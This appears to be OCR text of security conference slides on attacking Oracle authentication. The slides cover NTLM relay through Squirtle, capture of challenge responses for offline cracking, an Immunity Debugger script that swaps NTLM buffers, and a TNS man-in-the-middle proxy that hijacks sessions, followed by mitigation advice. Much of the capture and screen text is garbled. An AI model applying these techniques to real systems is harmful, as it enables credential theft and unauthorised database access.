Ğ Ş	0160 32 00 30	00 30	00 33 0	0 20 (00 33	00 37	00 39 0	0	2.0.0.3.	.3.7.9.				
(1) (1)	0170 30 00 20 0180 65 00 20	00 53	00 65 0	0 72 0	00 76 00 6h	00 69 0	0 63 0	0	0	r.v.1.c. ck 1				
	0190 00 00 57	00 69	00 6e 0	0 64 (00 6f	00 77	00730	ŏ	W.i.n.	d.o.w.s.				
9	01a0 20 00 53	00 65	00 72 0	0 76	00 65	00 72	0 20 0	0	.S.e.r.	v.e.r				
	01b0 32 00 30	00 30	00 33 0	0 20 (00 35	00 2e (00 32 0	0	2.0.0.3.	.52.				

- It is allowed by default SQLNET.AUTHENTICATION_SERVICES= (NTS)
- Of course it has the same problems as the normal Windows authentication
- Supports Kerberos. If the authentication is Kerberos between a Windows client and a Windows server, the Oracle client and the Oracle server will use Kerberos as well

VMware Virtual Ethernet Adapter: Capturing - Wireshark

File Edit View Go Capture Analyze Statistics Help

록 🕷 📽 🚇 | 🖿 🖾 🗶 🤔 ≜ | ९, ∻ 🌳 🎝 7 👱 | 🗐 🗟 | ୧, ୧, ୧, 🔍 🗹 | 🖉 🖉 🧏 | 🧝

Eilter:	▼ Expression <u>C</u> le	ear <u>A</u> pply
Source Dest	tination Protocol	Info
192.168.61.12 19	2.168.61.11 TNS	Request, Connect (1), Connect
192.168.61.11 19	2.168.61.12 TNS	Response, Resend (11)
192.168.61.12 19	2.168.61.11 TNS	Request, Connect (1), Connect
192.168.61.11 19	2.168.61.12 TNS	Response, Accept (2), Accept
192.168.61.12 19	2.168.61.11 TNS	Request, Data (6), SNS
192.168.61.11 19	2.168.61.12 TNS	Response, Data (6), SNS
192.168.61.12 19	2.168.61.11 TNS	Request, Data (6), SNS
192.168.61.11 19	2.168.61.12 TNS	Response, Data (6), SNS
192.168.61.12 19	2.168.61.11 TNS	Request, Data (6), SNS
<		
- Farma 0 (000 h.±		
0000 00 0c 29 67 32 89 0	0 Oc 29 fb 13 20 08 00 45 0	00)q2)E.
0010 00 d0 04 23 40 00 8	0 06 fa 9c c0 a8 3d 0c c0 a	.8

=..L.... ..?.-.P. 0020 3d 0b 04 4c 05 f1 a1 a4 a8 12 3f af 2d d0 50 18 fa c8 ce 5d 00 00 00 a8 00 00 06 00 ...].... 00 00 00 00 0030 0040 de ad be ef 00 9e 0b 10 06 00 00 04 00 00 04 00 0050 03 00 00 00 00 00 04 00 05 0b 10 06 00 00 08 00 0060 01 00 00 00 84 25 6d c5 57 00 12 00 01 de ad be%m. W..... 00 00 00 04 00 ef 00 03 04 00 01 00 01 00 02 00 0070 0080 01 00 05 00 00 00 00 00 04 00 05 0b 10 06 00 00 02 00 03 e0 e1 00 02 00 06 fc ff 00 01 00 02 01 0090 02 00 02 00 00 00 00 00 00a0 00 03 00 00 4e 54 53 00NTS. 00b0 04 00 05 0b 10 06 00 00 0c 00 01 00 11 06 10 0c Of 0a 0b 08 02 01 03 00 03 00 02 00 00 00 00 00 00c0 04 00 05 0b 10 06 00 00 03 00 01 00 03 01 00d0

VMware Virtual Ethernet Adapter: Capturing - Wireshark

<u>File Edit View Go Capture Analyze Statistics Help</u>

<u>F</u> ilter:		▼ Expression	<u>C</u> lear <u>A</u> pply	
Source	Destination	Protocol	Info	
192.168.61.12	192.168.61.11	TNS	Request, Connect (1), Connect	
192.168.61.11	192.168.61.12	TNS	Response, Resend (11)	
192.168.61.12	192.168.61.11	TNS	Request, Connect (1), Connect	
192.168.61.11	192.168.61.12	TNS	Response, Accept (2), Accept	
192.168.61.12	192.168.61.11	TNS	Request, Data (6), SNS	
192.168.61.11	192.168.61.12	TNS	Response, Data (6), SNS	
192.168.61.12	192.168.61.11	TNS	Request, Data (6), SNS	
192.168.61.11	192.168.61.12	TNS	Response, Data (6), SNS	
192.168.61.12	192.168.61.11	TNS	Request, Data (6), SNS	
<u><</u>				>
0 (017				
5				>

0000 00 0c 29 fb 13 20 00 0c 29 67 32 89 ..).. ..)a2...E. 08 00 45 00 00 cb 15 68 40 00 80 06 e9 5c c0 a8 0b c0 a8 00103d 2d d0 a1 a4 =....P. 3d Oc 05 f1 04 4c 3f af 0020 a8 ba 50 18 0030 f8 4a 2c 25 00 00 00 a3 00 00 06 00 00 00 00 00 . J, %.... 0040 de ad be ef 00 99 0b 10 06 00 00 04 00 00 04 00 03 00 00 00 00 00 04 00 05 0b 10 06 00 00 02 00 0050 0060 06 00 1f 00 0e 00 01 de ad be ef 00 03 00 00 00 02 00 04 00 01 00 07 00 00 00 00 00 04 00 0070 $00 \ 01$ 06 fa ff 00 01 0080 05 Ob 10 06 00 00 02 00 00 02 01 0090 00 03 00 00 4e 54 53 00 04 00 05 02 00 00 00 00 .NTS. 00a0 04 00 04 00 00 00 00 00 04 00 04 00 00 00 02 00 00b0 02 00 02 00 00 00 00 00 04 00 05 0b 10 06 00 00 00c0 01 00 02 00 00 03 00 02 00 00 00 00 00 04 00 05 0b 10 06 00 00 01 00 02 00d0 00

VMware Virtual Ethernet Adapter: live capture i... Packets: 99 Displayed: 99 Marked: 0

🔼 VMware Virtual Ethernet Adapter: Capturing - Wireshark

Filo Edit View Co Conturo Analyza Statistica Holo

Lie Fair Alex 70 Cabraie VilaiAse Stansacs Leb							
	i 🗶 🎜 占 🔍 🗢 🔿 🏹	F 🕹 🔳 🖬	ቒ, ቒ, ፼, ፻፺ ፼ ፼ № % ፼				
Eilter:		• Expression (2lear Apply				
Source	Destination	Protocol	Info				
192.168.61.12	192.168.61.11	TNS	Request, Connect (1), Connect				
192.168.61.11	192.168.61.12	TNS	Response, Resend (11)				
192.168.61.12	192.168.61.11	TNS	Request, Connect (1), Connect				
192.168.61.11	192.168.61.12	TNS	Response, Accept (2), Accept				
192.168.61.12	192.168.61.11	TNS	Request, Data (6), SNS				
192.168.61.11	192.168.61.12	TNS	Response, Data (6), SNS				
192.168.61.12	192.168.61.11	TCP	1104 > 1521 [ACK] Seq=679 Ack=204 Win=64037 Len=0				
192.168.61.12	192.168.61.11	TNS	Request, Data (6), SNS				
192.168.61.11	192.168.61.12	TNS	Response, Data (6), SNS				
192.168.61.12	192.168.61.11	TNS	Request, Data (6), SNS				
192.168.61.12	192.168.61.11	TNS	Request, Data (6), Data				
							
0000 00 0c 29 67	32 89 00 0c 29 fb 13	20 08 00 45	00)g2)E.				

001000 c0 04 83 40 00 80 06 fa 4c c0 a8 3d 0c c0 a8@....L...=... 0020 3d 0b 04 50 05 f1 07 1d 7f 5f 88 a6 47 45 50 18 =...P.......GEP. 0030 fa 25 28 2a 00 00 00 98 00 00 06 00 00 00 00 00 .%(*.... de ad be ef 00 8e 0b 10 0040 06 00 00 01 00 00 01 00 0050 07 00 00 00 00 00 04 00 05 02 00 00 00 00 04 00 0060 00 00 00 00 04 00 04 00 00 00 02 00 14 00 04 00 0070 01 02 00 00 00 04 00 00 00 02 00 00 00 00 00 00 0080 00 00 00 00 00 00 04 00 01 00 00 00 00 04 00 01 35 00 00 00 00 35 00 01 4e 54 4c 4d 53 53 50 0090 .5....5. .NTLMSSP 00 01 00 00 00 07 b1 08 a2 04 00 04 00 31 00 00 00a0 00 09 00 09 00 28 00 00 00 05 02 ce 0e 00 00 00 00b0 (. Of 57 49 4e 32 4b 33 4d 42 52 54 45 53 54 00c0 .WIN2K3M BRTEST

📶 VMware Virtual Ethernet Adapter: Capturing - Wireshark

File Edit View Go Capture Analyze Statistics Help

Eilter:		Expression	<u>C</u> lear <u>Apply</u>
Source	Destination	Protocol	Info
192.168.61.12	192.168.61.11	TNS	Request, Connect (1), Connect
192.168.61.11	192.168.61.12	TNS	Response, Resend (11)
192.168.61.12	192.168.61.11	TNS	Request, Connect (1), Connect
192.168.61.11	192.168.61.12	TNS	Response, Accept (2), Accept
192.168.61.12	192.168.61.11	TNS	Request, Data (6), SNS
192.168.61.11	192.168.61.12	TNS	Response, Data (6), SNS
192.168.61.12	192.168.61.11	TCP	1104 > 1521 [ACK] Seq=679 Ack=204 Win=64037 Len=0
192.168.61.12	192.168.61.11	TNS	Request, Data (6), SNS
192.168.61.11	192.168.61.12	TNS	Response, Data (6), SNS
192.168.61.12	192.168.61.11	TNS	Request, Data (6), SNS
192.168.61.12	192.168.61.11	TNS	Request, Data (6), Data
<			

0000	00	0c	29	fb	13	20	00	0c	29	67	32	89	08	00	45	00))g2E.
0010	01	21	2c	87	40	00	80	06	d1	e 7	c 0	a8	3d	0b	c 0	a8	.!,.@=
0020	3d	0c	05	f1	04	50	88	a6	47	45	07	1d	7f	f7	50	18	=P GEP.
0030	f7	b2	7a	dc	00	00	00	f9	00	00	06	00	00	00	00	00	Z
0040	de	ad	be	ef	00	ef	0b	10	06	00	00	01	00	00	01	00	
0050	02	00	00	00	00	00	04	00	01	ce	00	00	00	00	ce	00	
0060	01	4e	54	4c	4d	53	53	50	00	02	00	00	00	08	00	08	.NTLMSSP
0070	00	38	00	00	00	05	82	89	a2	5c	16	80	2f	86	1d	1e	.8
0080	9c	00	00	00	00	00	00	00	00	8e	00	8e	00	40	00	00	@
0090	00	05	02	ce	0e	00	00	00	0f	54	00	45	00	53	00	54	
00a0	00	02	00	08	00	54	00	45	00	53	00	54	00	01	00	18	T.E .S.T
00b0	00	57	00	49	00	4e	00	32	00	4b	00	33	00	4d	00	42	.W.I.N.2 .K.3.M.B
00c0	00	52	00	31	00	31	00	47	00	04	00	14	00	74	00	65	.R.1.1.Gt.e
00d0	00	73	00	74	00	2e	00	6c	00	6f	00	63	00	61	00	6c	.s.tl .o.c.a.l
00e0	00	03	00	2e	00	77	00	69	00	6e	00	32	00	6b	00	33	w.i .n.2.k.3
00f0	00	6d	00	62	00	72	00	31	00	31	00	67	00	2e	00	74	.m.b.r.1 .1.gt
0100	00	65	00	73	00	74	00	2e	00	6c	00	6f	00	63	00	61	.e.s.tl.o.c.a
0110	00	6c	00	05	00	14	00	74	00	65	00	73	00	74	00	2e	.lt .e.s.t
0120	00	60	00	6f	00	63	00	61	00	66	00	00	00	00	00		local

📶 VMware Virtual Ethernet Adapter: Capturing - Wireshark

<u>File Edit View Go Capture Analyze Statistics Help</u>

😫 👹 😫 🕍 | 🖮 🖾 🗶 글 | 이, 🗢 🌩 🖓 77 👱 | 🗐 🖻 | 이, 이, 이, 🗹 | 👹 🗹 🕵 % | 12

<u>Filter:</u>		▼ <u>E</u> xpression	<u>G</u> lear <u>A</u> pply
Source	Destination	Protocol	Info
192.168.61.12	192.168.61.11	TNS	Request, Connect (1), Connect
192.168.61.11	192.168.61.12	TNS	Response, Resend (11)
192.168.61.12	192.168.61.11	TNS	Request, Connect (1), Connect
192.168.61.11	192.168.61.12	TNS	Response, Accept (2), Accept
192.168.61.12	192.168.61.11	TNS	Request, Data (6), SNS
192.168.61.11	192.168.61.12	TNS	Response, Data (6), SNS
192.168.61.12	192.168.61.11	TCP	1104 > 1521 [ACK] Seq=679 Ack=204 Win=64037 Len=0
192.168.61.12	192.168.61.11	TNS	Request, Data (6), SNS
192.168.61.11	192.168.61.12	TNS	Response, Data (6), SNS
192.168.61.12	192.168.61.11	TNS	Request, Data (6), SNS
192.168.61.12	192.168.61.11	TNS	Request, Data (6), Data

..)q2...)...E. 0000 00 OC 29 67 32 89 00 0c 29 fb 13 20 08 00 45 00 00 f7 04 84 40 00 80 06 fa 14 c0 a8 3d Oc c0 a8 0010 3d Ob O4 50 O5 f1 O7 1d 7f f7 88 a6 48 3e 50 18 0020 0030 f9 2c a0 27 00 00 00 cf 00 00 06 00 00 00 00 00 . . . ' 06 00 00 01 00 00 01 00 0040 de ad be ef 00 c5 0b 10 02 00 00 00 00 00 04 00 01 a4 00 00 00 00 a4 00 0050 0060 01 4e 54 4c 4d 53 53 50 00 03 00 00 00 18 00 18 .NTLMSSP 00 00 00 18 00 18 .t..... 0070 00 74 00 8c 00 00 00 12 00 12 00 48 00 00 00 08 00 08 00 5a 00 00 00 12 00 12 .H..... .Z..... 0080 0090 00 62 00 00 00 00 00 00 00 a4 00 00 00 05 82 88 .b..... a2 05 02 ce 0e 00 00 00 Of 57 00 49 00 4e 00 32 00a0 00 4b 00 33 00 4d 00 42 00 52 00 74 00 65 00 73 .K.3.M.B .R.t.e.s 00b0 00 32 00 4b 00 33 00 4d 00 74 00 57 00 49 00 4e .t.W.I.N .2.K.3.M 00c0 00 42 00 52 00 a7 0f af 4a 78 fe fd 33 00 00 00 .B.R.... Jx..3... 00d0 00 00 <u>00 00 00 cf</u> 5d 95 00e0 00 00 00 00 00 00 00 00].ih.) 00f0 ec 8d dd 9b 69 68 bc 29 08 be ff fa 81 c8 b7 d7 0100 31 05 34 13 8e 1.4..

- The Windows authentication is there, even if the user uses his/her native Oracle username and password. In this case the Windows authentication data travels on the network unnecessarily
- Because of this, if we attack the Windows authentication for example with downgrade attack or with a static server challenge, the client will not realize the difference

Oracle Windows authentication Includes Includes SI 77FE7AGF Secural 77FE5C9F Windows Domain 18875 DS: E<&KERNEL32. TIsSetValukernel32. TIsSetValue EMP PUSH Kerberos!! FEA8A2 ó∂≢w RETURN to Secur32.77FEA8A2 from Secur32.771

Oracle Windows Kerberos

VMware Virtual Ethernet Adapter: Capturing - Wireshark

<u>File Edit View Go Capture Analyze Statistics Help</u>

0050

0060

0070 0080

🛿 🕍 🎱 📄 🖾 🗶 🥰 📇 🔍 🗢 🌩 🎝 🛧 生 📄 🖬 🗨 🔍 😳 🜃 🔀 🏀 🔆 🙀

Eilter:	Expression Clear Apply
Source Destination	Protocol Info
192.168.61.12 192.168.61.11	TNS Request, Connect (1), Connect
192.168.61.11 192.168.61.12	TNS Response, Resend (11)
192.168.61.12 192.168.61.11	TNS Request, Connect (1), Connect
192.168.61.11 192.168.61.12	TNS Response, Accept (2), Accept
192.168.61.12 192.168.61.11	TNS Request, Data (6), SNS
192.168.61.11 192.168.61.12	TNS Response, Data (6), SNS
192.168.61.12 $192.168.61.11$	TNS Request, Data (6), SNS
192.168.61.11 192.168.61.12	TNS Response, Data (6), SNS
192.168.61.12 192.168.61.11	TNS Request, Data (6), SNS
192.168.61.11 192.168.61.12	TNS Response, Data (6), SNS
192.168.61.12 192.168.61.11	TNS Request, Data (6), SNS
192.168.61.12 192.168.61.11	TNS Request, Data (6), Data
192.168.61.11 192.168.61.12	TCP 1521 > 1068 [ACK] Seq=455 Ack=2001 Win=64160 Len=0
102 168 61 11 102 168 61 12	TNS Dasnansa Nata (A) Nata
<u> </u>	
0000 00 0c 29 67 32 89 00 0c 29 fb 13	20 08 00 45 00)g2)E.
0010 00 7f 02 16 40 00 80 06 fc fa c0 a	a8 3d 0c c0 a8@=
0020 3d 0b 04 2c 05 f1 da b9 06 c3 42 1	24 5a d5 50 18 =,B\$Z.P.
0030 fa 25 40 f6 00 00 00 57 00 00 06 0	00 00 00 00 .%@W
0040 de ad be ef 00 4d 0b 10 06 00 00 0	01 00 00 01 00M

.

VMware Virtual Ethernet Adapter: <live capture i... Packets: 536 Displayed: 536 Marked: 0

05 00 00 00 00 00 04 00 05 02 00 00 00 04 00

04 00 00 00 00 00 04 00 04 00 00 00 02 00 14 00

01 02 00 00 00 05 00 00 00 02 00 00 00 00 00 00

00 00 00 00 00 00 04 00 01 00 00 00 00

Oracle Windows Kerberos

VMware Virtual Ethernet Adapter: Capturing - Wireshark

<u>File Edit View Go Capture Analyze Statistics Help</u>

▓ ▓ ▓ 월 월 | ⊨ ఔ X 2 ≜ | ♀ ♀ ♀ 주 ⊈ | ⊟ ⊑ | ♀ ♀ ♡ [₩ ⊠ № |]

Elter:	▼ Expression <u>C</u> lear Apply	
Source Destination	Protocol Info	
192.168.61.12 192.168.61.11	TNS Request, Connect (1), Connect	
192.168.61.11 192.168.61.12	TNS Response, Resend (11)	
192.168.61.12 192.168.61.11	TNS Request, Connect (1), Connect	
192.168.61.11 192.168.61.12	TNS Response, Accept (2), Accept	
192.168.61.12 192.168.61.11	TNS Request, Data (6), SNS	
192.168.61.11 192.168.61.12	TNS Response, Data (6), SNS	
192.168.61.12 192.168.61.11	TNS Request, Data (6), SNS	
192.168.61.11 192.168.61.12	TNS Response, Data (6), SNS	
192.168.61.12 192.168.61.11	TNS Request, Data (6), SNS	
192.168.61.11 192.168.61.12	TNS Response, Data (6), SNS	
192.168.61.12 192.168.61.11	TNS Request, Data (6), SNS	
192.168.61.12 192.168.61.11	TNS Request, Data (6), Data	
192.168.61.11 192.168.61.12	TCP 1521 > 1068 [ACK] Seq=455 Ack=2001 Win=64160 Len=0	
107 168 61 11 107 168 61 17	TNS Desnonse Data (6) Data	
		>
0000 00 0c 29 fb 13 20 00 0c 29 67 32 8	89 08 00 45 00))g2E.	
0010 00 74 e2 1b 40 00 80 06 1d 00 c0 a	a8 3d 0b c0 a8 .t@=	
0020 3d 0c 05 f1 04 2c 42 24 5a d5 da k	b9 07 1a 50 18 =,B\$ ZP.	
0030 f7 f3 f9 86 00 00 00 4c 00 00 06 (00 00 00 00 00L	
0040 de ad be ef 00 42 0b 10 06 00 00 (01 00 00 01 00B	
0050 02 00 00 00 00 00 14 00 01 02 00 (

0080

31 47

.TEST\WI N2K3MBR1 1G

VMware Virtual Ethernet Adapter: <live capture i... Packets: 536 Displayed: 536 Marked: 0

Oracle Windows Kerberos

VMware Virtual Ethernet Adapter: Capturing - Wireshark

<u>File Edit View Go Capture Analyze Statistics Help</u>

▓ ▓ ▓ 월 ▓ | ⊨ ఔ X ℤ ≜ | ⇔ ⇒ ⊋ 7 ⊈ | ⊟ ⊑ | ❶ Q Q 10 | ₩ ⊠ 18 % | 13

<u>F</u> ilter:	`	Expression Clear Apply	
Source	Destination	Protocol Info	
192.168.61.12	192.168.61.11	TNS Request, C	Connect (1), Connect
192.168.61.11	192.168.61.12	TNS Response,	Resend (11)
192.168.61.12	192.168.61.11	TNS Request, C	Connect (1), Connect
192.168.61.11	192.168.61.12	TNS Response,	Accept (2), Accept
192.168.61.12	192.168.61.11	TNS Request, [Data (6), SNS
192.168.61.11	192.168.61.12	TNS Response,	Data (6), SNS
192.168.61.12	192.168.61.11	TNS Request, D	Data (6), SNS
192.168.61.11	192.168.61.12	TNS Response,	Data (6), SNS
192.168.61.12	192.168.61.11	TNS Request, I	Data (6), SNS
192.168.61.11	192.168.61.12	INS Response,	Data (6), SNS
192.168.61.12	192.168.61.11	INS Request, L	JATA (6), SNS
192.168.61.12	192.168.61.11	INS Request, L	Jata (6), Data
	192.108.01.12	TUC 1521 > 100	Data (6) Data
		The Dacharca	
0000 00 0c 29 67 32 8	39 00 0c 29 fb 13 20	08 00 45 00)g2.)E.
0010 04 ab 02 17 40 0	00 80 06 T8 cd c0 a8	3d OC CO a8@.	=
0020 30 00 04 20 05 1	$1 \ 0a \ 09 \ 07 \ 1a \ 42 \ 24 \ 00 \ 06 \ 00 \ 00 \ 06 \ 00 \ $	50 21 50 18 =,	R?[ih.
0030 19 09 a4 9a 00 0	79 0h 10 06 00 00 00		••• •••••
	00040001580400	00 04 58 00	x x
0060 01 60 82 04 54 0	06 09 2a 86 48 86 f7	12 01 02 02	·* ·H
0070 01 00 6e 82 04 4	43 30 82 04 3f a0 03	02 01 05 a1	07
0080 03 02 01 0e a2 0	07 03 05 00 20 00 00	00 a3 82 03	
0090 6f 61 82 03 6b 3	30 82 03 67 a0 03 02	01 05 a1 0c oak0	g
00a0 1b 0a 54 45 53 5	54 2e 4c 4f 43 41 4c	a2 19 30 17TEST	.L OCAL0.
00b0 a0 03 02 01 80 a	al 10 30 0e 1b 0c 57	49 4e 32 4b	.0WIN2K
00c0 33 4d 42 52 31 3	31 4/ a3 82 03 35 30	82 03 31 a0 3MBR11	.G501.
0000 03 02 01 1/ al 0	03 02 01 06 a2 82 03	23 04 82 03	·· ···.#
00e0 11 94 04 14 64 1	D = 0 / C = a = 0 = 72 - 33	6d 70 24 fb	9
0100 86 6b 91 5d 84 f	$F_{5} = 1 8 h 79 22 1 d c 5$	bc bc c5 ee k]	N mp.s.
0110 4b 48 9d 0a de e	-8 d9 ba ec 6f 47 84	72 57 7d 75 KH	
0120 65 38 14 af ed 2	21 7c 1f 6d 2b 18 eb	63 96 4d 11 e8!	1. m+c.M.
0130 ab 51 70 c6 e4 7	76 3b bc 40 e5 de 90	b0 ef 8c c5 .0pv	. @
0140 84 2c 3b 29 04 1	L1 c1 b7 8c e6 dd 19	98 2e 88 29 .,;))
VMware Virtual Ethernet Adapter: <live capt<="" td=""><td>ure i Packets: 536 Displayed: 536 Marke</td><td>ed: 0</td><td>Profile: Default</td></live>	ure i Packets: 536 Displayed: 536 Marke	ed: 0	Profile: Default
T HE HA HA HA HA HA IN AN RA TE E	SUP & C. STOLL THE	INNIDEDRA OCTOLOUD ADDA	





- Web server, we should convince the client to connect to (http://code.google.com/p/squirtle/)
- It tries to take advantage of the automatic Windows authentication, although it has some strict rules (http://support.microsoft.com/kb/258053)
- Save the responses for off-line brute-force attack
- Static challenge
- We can develop modules for Squirtle, (eg: POP3, SMTP) which sends the NTLM type 2 to Squirtle and receives the NTLM type 3, that can be sent to the server. The NTLM type 3 comes from the attacked client



Squirtle GSS API

InitializeSecurityContext

OPapit. Risc

00127634 00128ADC

Includes

Includes Includes

DS:[77FEE08C] DS:[<&KERNEL32.TIsSetVal/kernel32.TIsSetValue

AcceptSecurityContext

77FEA8A2 óð∎w RETURN to Secur32.77FEA8A2 from Secur32.77FE5C3 12457220 00125704

ESI T Secur32.77FE5C9F

SECURITY STATUS SEC Entry InitializeSecurityContext(in opt PCredHandle phCredential, in_opt PCtxtHandle phContext, in opt SEC CHAR *pszTargetName, ULONG fContextReq, ER **in** ULONG Reserved1, in ULONG TargetDataRep, in in_opt PSecBufferDesc plnput, ULONG Reserved2, in inout opt PCtxtHandle phNewContext, inout_opt_PSecBufferDesc pOutput, PULONG pfContextAttr, out out opt PTimeStamp ptsExpiry

typedef struct _SecBufferDesc { ULONG ulVersion; ULONG cBuffers; PSecBuffer pBuffers; }SecBufferDesc, *PSecBufferDesc;

> D PTR DS:[{&KERNEL32.TlsSetValukernel32.TlsSetValue PTR SS:[EEP+30],0 PTR SS:[EEP+30],0

> > typedef struct _SecBuffer {
> > ULONG cbBuffer;
> > ULONG BufferType;
> > PVOID pvBuffer;
> > }SecBuffer, *PSecBuffer;

- We stop the program at the InitializeSecurityContext
- We copy the NTLM Type 2 Challenge from the plnput and we send it to the Squirtle
- We save the received NTLM Type 3
- We run the program until the return of the InitializeSecurityContext
- We replace the pOutput with the saved one that was sent by Squirtle

$ \begin{array}{c} $	* 824573
Immunity Debugger - salplus,exe - ICPU - main thread, module Secur321	
<u>File View Debug Plugins ImmLib Options Window H</u> elp Jobs	_ 8 ×
🗁 🏠 🗟 🔣 🖶 📢 🗙 🕨 📕 🕌 🕌 🛃 → 🚽 lemtwhcPkbzrs? Consulting Services Manager	
SBFF HOU EDI,EDI A 7537722 55 PUSH EBP C C 7537722 8BEC MOU EBP,ESP C C EAX 753902E0 Secur32.753902E0 7537722 6A 00 PUSH 0 EBP 4341 EAX 753902E0 Secur32.753902E0 7537721 FF75 34 PUSH DWORD PTR SS: LEBP+341 EBX 006007988 EDX 03FB8230 7537721 FF75 2C PUSH DWORD PTR SS: LEBP+241 EBP 00175704 ESI 03FB81F8 ASCII "NTLM" 7537721 FF75 2A PUSH DWORD PTR SS: LEBP+241 EDM 00175704 ESI 03FB81F8 ASCII "NTLM" 7537721 FF75 1C PUSH DWORD PTR SS: LEBP+241 EDM 00175704 ESI 03FB81F8 ASCII "NTLM" 7537722 FF75 1A PUSH DWORD PTR SS: LEBP+241 EDM 00175704 ESI 032bit 0(FFFFFFF) 7537722 FF75 1A PUSH DWORD PTR SS: LEBP+241 EDM 00175704 ESI 032bit 0(FFFFFFF) 7537722 FF75 1A PUSH DWORD PTR SS: LEBP+161 A 0 SS 00223 32bit 0(FFFFFFF) FS 0002332bit 0(FFFFFFFF) 7537722 FF75 0G PUSH DWORD PTR SS: LEBP+161 A 0 SS 0023 32bit 0(FFFFFFF	
ST6 empty 11.00000000000000000000000000000000000	
12 36 36 89 29 29 29 67 67 67 68 FE 20 66 M 8.1 7 M	Paused

00126000 MIA

D AR

def main(): imm = immlib.Debugger() user=imm.inputBox("Username") imm.addKnowledge("Username", user) imm.Log("Username: "+user) bp_address=imm.setBreakpointOnName("InitializeSecurityContextA") imm.addKnowledge("%08x" % bp_address, "isc_address") logbp_hook = MyOwnHook() logbp_hook.add("bp_on_isc",bp_address) imm.Log("Placed isc hook: bp_on_isc")

UU127634

#We place a bp on the return address to change the out buffer of isc bp_address=imm.readLong(regs["ESP"]) rethook.add("hook_on_ret",bp_address) imm.Log("Place hook on the return address of ISC: "+hex(bp_address)) return

if imm.getKnowledge("%08x" % regs["EIP"]) != "isc_address":

imm.Log("After isc!")
pOutput=imm.getKnowledge("pOutput")
imm.Log("pOutout: "+hex(pOutput))
pSecbuf=imm.readLong(pOutput+8)
cbBuffer=imm.readLong(pSecbuf)
imm.Log("out cbBuffer: %s" %hex(cbBuffer))
pvBuffer=imm.readLong(pSecbuf+8)
imm.Log("out pvBuffer: %s" % hex(pvBuffer))
printmem(pvBuffer,cbBuffer)
type3_binary=imm.getKnowledge("type3")
imm.writeMemory(pvBuffer,type3_binary)
printmem(pvBuffer,cbBuffer)





A 11 0 2000 CK

- We convince the client to connect to the pytnsproxy (MITM, ARP cache poisoning, DNS spoof)
- During the connection we keep track of the sequence numbers
- When the clients quit, we do not send the quit bytes to the server. The proxy starts another TCP server thread
- The attacker can connect to this TCP server. The same version and driver (oci, thin) should be used. The proxy simulates the authentication
- After the authentication the proxy updates the sequence numbers

• In case of 10g and 11g we should create the AUTH SVR RESPONSE Because of this, in case of 10g the username and password should be fixed values, in case of 11g the password should be a fixed value during the authentication simulation (proxytest/proxytest)





Transparent Network Substrate Protocol Packet Length: 180 Packet Checksum: 0x0000 Packet Type: Data (6) Reserved Byte: 00

Header Checksum: 0x0000

🗉 Data

■ Data Flag: 0x0000

⊞ Data (170 bytes)

0000	00	1.5	60	05	F 7	-1.4	00	1 -	25	0-	- 7	2-	0.0	00	4.5	00		2. 14	0/	10	-
0000	00	ΤD	60	91	57	a 4	00	TC	20	9a	a/	Za	08	00	45	00		w	ж.	• * •	.E
0010	00	dc	ef	b0	40	00	80	06	86	1e	c0	a8	01	f9	c 0	a8		@			
0020	01	03	0b	b0	05	f1	d1	15	a3	2f	1a	18	a8	f0	50	18			. /		. P
0030	ŤŤ	60	50	0d	00	00	00	h4	00	00	06	00	00	00	00	00		10	- /		
0010	65	E C		61	00	00	00	00	00	00	00	00			ff	16		1			•
0040	03	Se		DT 0	80	00	00	00	00	00	00	Te	TT	TT	TT	Τp	-	^.a			
0050	00	00	w	fe	ff	ff	ff	0d	00	00	00	fe	ff	ff	ff	fe	-				
0060	ff	ff	ff	00	00	00	00	01	00	00	00	00	00	00	00	00					
0070	00	00	00	00	00	00	00	00	00	00	00	f۵	ff	ff	ff	00					
00000	00	00	00	£	££	££	<u> </u>	-f-0	- F-F	<u> </u>	<u> </u>	f	÷-	÷-	÷-	00					
0080	00	00	00	re				re				<u>i</u> e				00	-				
0090	00	00	00	00	00	00	00	fe	ff	ff	ff	fe	ff	ff	ff	16	-				
00a0	53	45	4c	45	43	54	20	55	53	45	52	20	46	52	4f	4d	S	SELECT U	SE	RF	RO
00b0	20	44	55	41	4 c	00	01	00	00	00	00	00	00	00	00	00		DUΔI			
00.00	20		00	00	00	ňŏ		ňň	ŏŏ	ŏŏ	ŏŏ	ňň	ŏŏ	ŏŏ	ŏŏ	00		DOME		••••	•••
0000	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	-				
00d0	00	00	01	00	00	00	00	00	00	00	00	00	00	00	00	00	-				
00e0	00	00	00	00	00	00	00	00	00	00											
																				(

Text item (), 172 bytes

Packets: 52 Displayed: 52 Marked: 0



Protection

- The complete solution should be to encrypt the communication between the client and the server
 - Oracle Advanced Security
 - Alternative solutions
 - SSH (http://www.dbspecialists.com/files /presentations/net8_security.html)
 - stunnel (http://www.stunnel.org/examples/oracle.html)
- The difficulty level of the attacks can be raised
 - Strong password policy
 - Disable the weaker protocols (Windows, Oracle)
 - Imcompatibilitylevel
 - SQLNET.ALLOWED_LOGON_VERSION



- The default settings could provide possibilities for an attacker against the Oracle authentication
- Protection can be achieved by following some basic principles
- The Squirtle module is a good example on how easy it is to exploit a weakness with programmatic debugging
- The problems of Windows authentication show that securing our infrastructure is always a multilayer and complex task

www.soonerorlater.hu

- www.oxid.it
- code.google.com/p/squirtle/

davenport.sourceforge.net/ntlm.html

RETURN to Secur32,77FEA8A2

ubiqx.org/cifs/SMB.html